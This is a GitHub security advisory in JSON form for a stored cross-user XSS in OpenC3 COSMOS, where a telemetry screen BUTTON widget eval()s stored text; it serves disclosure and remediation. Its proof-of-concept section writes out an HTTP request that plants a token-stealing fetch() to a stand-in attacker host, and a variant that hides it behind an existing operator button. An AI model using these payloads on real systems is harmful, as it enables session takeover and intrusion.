{"id":"GHSA-gvf2-2rh5-mpgf","summary":"OpenC3 COSMOS: Stored, cross-user XSS via Telemetry screen BUTTON widget","details":"## Summary\nA user who can save a telemetry **screen** (permission `system_set`) can embed JavaScript in a screen `BUTTON` widget. The `BUTTON` widget **`eval()`s the stored button text in the browser** when the button is activated, and screens are **shared content rendered to other users in the scope**. As a result, an attacker's stored JavaScript executes **in a different operator's authenticated session** — a **stored, cross-user XSS** (not self-XSS). The payload runs in the COSMOS origin and can read `localStorage.openc3Token` (the victim's session token), enabling **session/account takeover** and, via the victim's privileges, a path to server-side code execution through the Script Runner.\n\nThe site's Content-Security-Policy permits `'unsafe-inline'`/`'unsafe-eval'` (see \"Contributing factor\"), so the injected script runs unimpeded.\n\n- **Product:** OpenC3 COSMOS (Core; likely Enterprise — see scoping note)\n- **Affected version:** confirmed **7.2.0** (latest, tested 2026-06-25); the code path is present on `main`. Lower bound for maintainer to confirm.\n- **Reporter:** _Arpit Kubadia_ \n\n## Description & root cause\n1. **Screen save (the store):** `POST /openc3-api/screen` → `ScreensController#create` (`openc3-cosmos-cmd-tlm-api/app/controllers/screens_controller.rb:35-43`) persists the raw screen text after `authorization('system_set')`. No sanitization of the screen body.\n2. **The sink (the execution):** the `BUTTON` widget stores the button's action as its second parameter and **`eval()`s it on click** — `openc3-cosmos-init/plugins/packages/openc3-vue-common/src/widgets/ButtonWidget.vue:109`:\n   ```js\n   const lines = this.eval.split(';;')   // this.eval == parameters[1] from the stored screen\n   ...\n   const result = eval(lines[i].trim())  // attacker-controlled string -\u003e arbitrary JS in the victim's session\n   ```\n3. **Cross-user delivery:** screens are stored per-scope and rendered to **any** user who opens them (e.g. in Telemetry Viewer). So a screen saved by user A executes in user B's browser.\n4. **Contributing factor (CSP):** `openc3-traefik/traefik.yaml:63` sets `script-src 'unsafe-inline' 'unsafe-eval' https: blob: ...` on every SPA response, so the injected/eval'd script is not blocked. (Reportable as a hardening item in its own right.)\n\n## Proof of Concept\n\n### A. Minimal PoC — a button that steals the viewer's token (verified)\nAuthenticated as any user (Core) / a `system_set` user (Enterprise), store a screen:\n```\nPOST /openc3-api/screen HTTP/1.1\nHost: localhost:2900\nContent-Type: application/json\nAuthorization: ses_\u003cYOUR_TOKEN\u003e\nContent-Length: 224\n\n{\"scope\":\"DEFAULT\",\"target\":\"INST\",\"screen\":\"XSSPOC\",\"text\":\"SCREEN AUTO AUTO 1.0\\nLABEL \\\"Instrument Status\\\"\\nBUTTON 'Refresh' 'fetch(\\\"https://ATTACKER-COLLABORATOR/?t=\\\"+encodeURIComponent(localStorage.openc3Token))'\\n\"}\n```\n→ HTTP 200, body `true`. **Trigger (as the victim):** open `http://\u003chost\u003e:2900/tools/tlmviewer` → Target `INST`, Screen `XSSPOC` → click **Refresh**. The victim's session token is exfiltrated to `ATTACKER-COLLABORATOR`. *(Verified: an out-of-band request carrying a live `ses_…` token was received at the attacker host.)*\n\nA purely visual variant: replace the action with `alert(localStorage.openc3Token)`.\n\n### B. Realistic exploitation — hijack an EXISTING operational screen (no lure)\nThe minimal PoC needs the victim to open the attacker's screen. The realistic attack overwrites a screen operators **already use**, hiding the payload behind a button they **already click**:\n- The `BUTTON` action is `eval`'d after `this.eval.split(';;')`, so **appending `;; \u003cpayload\u003e` to an existing button keeps the original command working and adds the attacker's code**. The operator sees no change.\n- Example: take the stock `INST COMMANDING` screen's **`Start Collect`** button (which sends `api.cmd('INST COLLECT ...')`) and append:\n  ```\n  ... +\n  \" ;; fetch('https://ATTACKER-COLLABORATOR/?t='+encodeURIComponent(localStorage.openc3Token))\"\n  ```\n  Re-save the screen (`POST /openc3-api/screen`, same route). Now every operator who opens COMMANDING and clicks `Start Collect` during normal operations sends the real command **and** leaks their session token. No new button, no behavioral change, no social-engineering lure.\n\n## Impact\nThe injected script runs with the victim's session in the COSMOS origin. It can:\n- **Exfiltrate the victim's session token** (`localStorage.openc3Token`) → session/account takeover (the token is a bearer credential accepted in the `Authorization` header).\n- Act as the victim against the API, and — for a victim with script privileges — pivot to the **Script Runner** to achieve **server-side code execution** (the documented escalation chain).\nThis is **cross-user / persistent**: an attacker who can edit shared screens compromises the sessions of other operators viewing those screens, which is materially worse than self-XSS.\n\n## Remediation\n1. **Do not `eval()` screen-supplied strings.** Replace the `BUTTON` widget's `eval` with a constrained, non-`eval` command interface (an allow-listed API surface / safe expression evaluator), or sandbox it.\n2. **Tighten the CSP** (`openc3-traefik/traefik.yaml`): remove `'unsafe-inline'`/`'unsafe-eval'`, move to per-request `nonce` + `'strict-dynamic'`, add `object-src 'none'`, `base-uri 'self'`, `frame-ancestors 'self'`. This alone neutralizes injected inline/eval'd script.\n3. **Treat screens as untrusted, cross-user content** — escape/validate on render; consider gating screen-embedded JavaScript behind a dedicated, clearly-privileged capability rather than the general `system_set`.","aliases":["CVE-2026-77394"],"modified":"2026-09-23T21:45:07.938130889Z","published":"2026-09-23T21:24:11Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-09-23T21:24:11Z","nvd_published_at":null,"cwe_ids":["CWE-79"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/OpenC3/cosmos/security/advisories/GHSA-gvf2-2rh5-mpgf"},{"type":"WEB","url":"https://github.com/OpenC3/cosmos/pull/3560"},{"type":"WEB","url":"https://github.com/OpenC3/cosmos/commit/10371f8f410b9ad588f98dfa3befaaacb6587cd3"},{"type":"PACKAGE","url":"https://github.com/OpenC3/cosmos"},{"type":"WEB","url":"https://github.com/OpenC3/cosmos/releases/tag/v7.3.0"}],"affected":[{"package":{"name":"@openc3/vue-common","ecosystem":"npm","purl":"pkg:npm/%40openc3/vue-common"},"ranges":[{"type":"SEMVER","events":[{"introduced":"5.0.6"},{"fixed":"7.3.0"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 7.2.1","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-gvf2-2rh5-mpgf/GHSA-gvf2-2rh5-mpgf.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N"}]}